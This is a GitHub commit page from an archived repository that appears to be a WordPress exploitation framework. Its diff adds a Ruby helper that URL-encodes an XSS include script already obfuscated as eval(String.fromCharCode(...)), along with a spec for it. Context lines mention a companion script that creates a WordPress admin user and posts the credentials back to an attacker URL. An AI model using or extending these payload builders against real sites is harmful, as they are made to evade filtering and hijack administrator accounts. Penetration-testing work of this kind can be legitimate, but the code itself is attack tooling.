Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit e0fd09b

Browse files
committed
Add #xss_url_and_ascii_encoded_include_script
1 parent 2ad92f1 commit e0fd09b

File tree

2 files changed

+11
-0
lines changed

2 files changed

+11
-0
lines changed

lib/wpxf/wordpress/xss.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,11 @@ def xss_ascii_encoded_include_script
6565
"eval(String.fromCharCode(#{xss_include_script.bytes.join(',')}))"
6666
end
6767

68+
# @return [String] the URL encoded value of #xss_ascii_encoded_include_script.
69+
def xss_url_and_ascii_encoded_include_script
70+
url_encode(xss_ascii_encoded_include_script)
71+
end
72+
6873
# @return [String] a script that will create a new admin user and post the
6974
# credentials back to {#xss_url}.
7075
def wordpress_js_create_user

spec/wordpress/xss_spec.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,4 +67,10 @@
6767
expect(subject.xss_ascii_encoded_include_script).to eq encoded
6868
end
6969
end
70+
71+
describe '#xss_url_and_ascii_encoded_include_script' do
72+
it 'returns a URL encoded version of #xss_ascii_encoded_include_script' do
73+
expect(subject.xss_url_and_ascii_encoded_include_script).to eq url_encode(subject.xss_ascii_encoded_include_script)
74+
end
75+
end
7076
end

0 commit comments

Comments
 (0)